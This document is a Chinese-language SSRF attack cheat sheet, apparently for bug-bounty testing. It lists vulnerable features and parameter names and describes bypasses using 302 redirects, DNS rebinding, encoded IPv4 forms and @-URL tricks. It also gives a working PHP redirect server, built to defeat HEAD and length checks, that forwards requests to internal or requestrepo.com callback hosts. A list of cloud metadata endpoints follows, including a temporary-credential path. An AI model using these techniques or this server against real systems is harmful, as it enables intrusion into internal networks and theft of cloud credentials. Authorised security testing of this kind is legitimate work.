出现位置
一切会触发服务器主动发送请求的位置。
功能点
上传点
logo , 头像上传
Webhook / 回调 / 订阅验证
(支付、IM、CI/CD、监控告警等)的测试回调Ping
事件订阅验证 , 推送设置
服务端产生的 富文本/Markdown/模板渲染
用户内容中含外链,渲染发生在服务端。获取主动获取网络图片
链接预览 / 安全扫描 / 富卡片
IM/工单/知识库/代码托管里“粘贴链接自动生成摘要/预览卡片”
安全/合规扫描器对链接做服务器端检查
远程资源抓取 / 下载
通过 URL 上传文件 / 导入图片
RSS/Atom 导入、网站快照、OpenGraph/标题抓取、favicon 获取
把网页转成 PDF/截图的在线转换器
图片/文件处理服务
图床/媒体处理(缩略图、裁剪、转码)支持传 image_url
、file_url
Office/PDF 渲染服务在服务器端加载外链资源
单点登录/集成 从 URL 导入
SAML/IdP 元数据 URL、OIDC/JWKS/证书/Swagger/OpenAPI "从地址导入"
第三方集成 "测试连接" "从远端拉取配置"
同步/镜像/代理类功能
代码仓/制品库/容器镜像 从源站 URL 同步
下载代理、反向代理/调试转发器、抓取 API 的“通用 fetch 接口
健康检查/监控探测
在线可配置的探活/心跳/可用性检测(允许提交要探测的 URL)
由解析器/库间接触发的 SSRF
某些 XML/模板/图像处理库在解析外部实体或远程引用时会主动拉取(与 XXE/RFI 场景有交集)
HTTP 客户端默认跟随重定向到 127.0.0.1
、内网网段、不同协议等
参数
url
、link
、target
、endpoint
、callback
、webhook
、ping
、test_url
、 image_url
、avatar
、file_url
、pdf_url
、feed
、rss
、source
、import_url
、 host
、domain
、addr
、sitemap
、openapi_url
、swagger_url
、logo
等。
打法
无回
令服务器请求不存在的端口 / IP ,打时间差等信息
有回
请求元数据 , file 等协议获取数据 , 请求厂商给的 flag 地址。
302 重定向 / dns重绑定
简单总结:
302 跟随绕过黑名单限制
dns重绑定如若在单请求线程中,无法脱离上下文检测流程或无法实现时间差,一般成功不了。
只有当存在 基于输入域名的白名单/后缀校验且不展开 CNAME 全链/禁用302时,CNAME 才有用。不然多此一举
存在情况: 服务器发出多个请求(1)
例如: 第一个请求头为 Go ,第二个请求为 python 。通过分支重定向绕过第一个打第二个可能能成功。
存在情况: 服务器发出多个请求(2)
例如: 第一个为 HEAD , 第二个请求为 GET。通过分支重定向绕过 HEAD 打 GET 可能成功。
存在情况: 传入域名半白名单
例如: 要求对应云厂商的地址 。尝试使用该厂商的 云存储桶进行 回源重定向可能绕过白名单限制。
存在情况: 通过多个请求参数组合,构成请求目标
例如: 一个参数为 oss 桶名,其他为文件名,后端自动处理为对应云厂商的桶名链接,将桶名修改为自己的可控桶名进行回源重定向。
bucket=xxx&filename=xxxx&sign=xxxx&........
存在情况: 服务器解析内网地址不完全(少见)
例如未拦截: IPv4 变体:127.1
、十进制 2130706433
、十六进制 0x7f000001
、八进制、混合进制、等情况
存在情况: 跟随@重定向
例如: http://xxx.com@www.baidu.com 实际指向 www.baidu.com
综合代码实现
// 根据需要动态调整
<?php
ini_set('zlib.output_compression', 'Off');
$method = $_SERVER['REQUEST_METHOD'];
$fileName = "su.log";
// 记录请求详情
function logRequest() {
global $fileName;
$logFile = __DIR__ . '/' . $fileName;
$timestamp = date('Y-m-d H:i:s');
$method = $_SERVER['REQUEST_METHOD'];
$uri = $_SERVER['REQUEST_URI'] ?? '';
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$postData = '';
if ($method === 'POST') {
$postData = file_get_contents('php://input');
if (empty($postData)) {
$postData = json_encode($_POST);
}
}
$getData = !empty($_GET) ? json_encode($_GET) : '';
$logEntry = sprintf(
"[%s] %s %s | IP: %s | UA: %s | Referer: %s | GET: %s | POST: %s\n",
$timestamp,
$method,
$uri,
$ip,
$userAgent,
$referer,
$getData,
$postData
);
file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
}
// 记录重定向
function logRedirect($targetUrl) {
global $fileName;
$logFile = __DIR__ . '/' . $fileName;
$timestamp = date('Y-m-d H:i:s');
$logEntry = sprintf(
"[%s] REDIRECT -> %s\n",
$timestamp,
$targetUrl
);
file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
}
// 统一的成功 JSON (有些推送平台只看 success)
function reply_success_json() {
// 清理可能的缓冲/前置输出,避免 JSON 前有多余字节
if (function_exists('ob_get_length') && ob_get_length()) {
@ob_clean();
}
$payload = json_encode([
'success' => true,
'error_code' => 0,
'error_msg' => '',
'result' => ''
], JSON_UNESCAPED_UNICODE);
header('Content-Type: application/json; charset=utf-8');
header('Content-Length: ' . strlen($payload));
http_response_code(200);
echo $payload;
// 立刻把响应刷给对端,避免 3s 超时
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
}
exit;
}
// 记录当前请求
logRequest();
// 过HEAD等长度检测 // 注: 不要忘了顶部 ini_set('zlib.output_compression', 'Off'); -> gZIP压缩项目相关
$body = "\xFF\xD8\xFF\xD9"; // 可换成 'test' 等任意字符串
$len = strlen($body);
// 根据请求方法处理 // 可以调整为根据请求顺序
switch ($method) {
case 'HEAD':
// HEAD请求:返回200状态码
header('Access-Control-Allow-Origin: *');
header('Content-Type: image/jpeg');
// header('Content-Length: ' . filesize(__DIR__.'/logo.jpg'));
header('Content-Length: '.$len);
http_response_code(200);
// http_response_code(302);
// header('Location: http://bsrc-ssrf.n.baidu-int.com:9999');
// header('Location: http://bsrc-ssrf.n.baidu-int.com/bsrc_uid');
// header('Location: https://35zngqb9.requestrepo.com/ssaasasas/ssr');
// 不存在的DNSLOG
// header('Location: https://35zngsdsdb9.requestrepo.com/ssaasasas/ssr');
// header('Location: https://x16fw7qm.requestrepo.com/asasasas');
// /https://x16fw7qm.requestrepo.com/
// echo json_encode([
// ], JSON_UNESCAPED_UNICODE);
// echo json_encode([
// 'success' => true,
// 'error_code' => 0,
// 'error_msg' => '',
// 'result' => ''
// ], JSON_UNESCAPED_UNICODE);
exit();
case 'GET':
// http_response_code(200);
// header('Content-Length: '.$len);
header('Content-Type: image/jpeg');
// http_response_code(302);
// header('Location: http://bsrc-ssrf.n.baidu-int.com:9999');
// header('Location: http://bsrc-ssrf.n.baidu-int.com/bsrc_uid');
// $redirectUrl = "http://i2o4z68y.requestrepo.com";
// $redirectUrl = "http://tst.woa.com/ssrf_forward.php?host=i2o4z68y.requestrepo.com";
$redirectUrl = "http://tst.woa.com/flag.html";
// header('Location: ' . $redirectUrl);
// logRedirect('进入重定向: ' . $redirectUrl);
// echo json_encode([
// ], JSON_UNESCAPED_UNICODE);
echo json_encode([
'success' => true,
'error_code' => 0,
'error_msg' => '',
'result' => ''
], JSON_UNESCAPED_UNICODE);
exit();
case 'POST':
// POST请求:重定向到指定URL
http_response_code(200);
header('Content-Type: application/json; charset=utf-8');
// header('Location: http://bsrc-ssrf.n.baidu-int.com/bsrc_uid');
reply_success_json();
// echo json_encode([
// 'success' => true,
// 'error_code' => 0,
// 'error_msg' => '',
// 'result' => ''
// ], JSON_UNESCAPED_UNICODE);
exit();
default:
// 其他请求方法返回405 Method Not Allowed // 可具体情况调整
http_response_code(405);
echo json_encode([
'code' => -1,
'msg' => 'Method Not Allowed'
], JSON_UNESCAPED_UNICODE);
exit();
}
?>
元数据地址
中国厂商
阿里云 ECS
http://100.100.100.200/latest/meta-data/
注:若启用增强安全,需先
PUT /latest/api/token
,再携带X-aliyun-ecs-metadata-token
。 Alibaba Cloud阿里云帮助中心
腾讯云 CVM
域名:
http://metadata.tencentyun.com/latest/meta-data/
(在实例内解析到内网;官方推荐使用域名) 。 腾讯云
百度智能云 BCC/BBC
地址:
http://169.254.169.254/latest/meta-data/
(仅实例内访问;示例:/latest/meta-data/sts-credential
获取临时凭证);历史版本:http://169.254.169.254/2009-04-04/meta-data/
(示例:/2009-04-04/meta-data/public-ipv4
)。 百度智能云 / DTS 文档示例。 cloud.baidu.comcloud.baidu.com
华为云 ECS
常见访问:
http://169.254.169.254
文档示例包含 OpenStack 风格路径(如
…/openstack/latest/meta_data.json
等)。
京东云 JD Cloud(虚拟主机)
http://169.254.169.254/metadata/latest/
。 京东云
UCloud UHost
http://100.80.80.80/meta-data/
。 UCloud
金山云 Kingsoft Cloud(KEC)
文档标注使用内网解析访问 IMDS(未统一固定 IP;若未使用金山云 DNS,可按文档指引改用
11.255.255.100
访问)。建议在实例内直接按文档示例访问元数据条目。 金山云
(补充)Scaleway
IPv4:
http://169.254.42.42
;IPv6:http://[fd00:42::42]
。 Scaleway
全球厂商
AWS EC2
Microsoft Azure
根地址:
http://169.254.169.254/metadata/
(所有调用都需请求头Metadata: true
,并带api-version
参数) 。 Microsoft Learn
Google Cloud Compute Engine (GCE)
主机名:
http://metadata.google.internal/computeMetadata/v1
IP:
http://169.254.169.254/computeMetadata/v1
注:必须带请求头
Metadata-Flavor: Google
。 Google Cloud
Oracle Cloud Infrastructure (OCI)
IMDSv2 根:
http://169.254.169.254/opc/v2/
(示例:/opc/v2/instance/
;必须带Authorization: Bearer Oracle
)IMDSv1 根:
http://169.254.169.254/opc/v1/
。 Oracle 文档
DigitalOcean Droplets
http://169.254.169.254/metadata/v1/
。 docs.digitalocean.com
Akamai Connected Cloud(原 Linode)
IPv4:
http://169.254.169.254
IPv6:
http://[fd00:a9fe:a9fe::1]
注:先
PUT /v1/token
获取Metadata-Token
,再访问/v1/instance
、/v1/network
等。 techdocs.akamai.com
OpenStack(通用环境,含许多托管/私有云)
服务地址:
http://169.254.169.254
同时支持 OpenStack API 与 EC2 兼容 API(如
/openstack/latest/
或/latest/meta-data/
)。 docs.openstack.org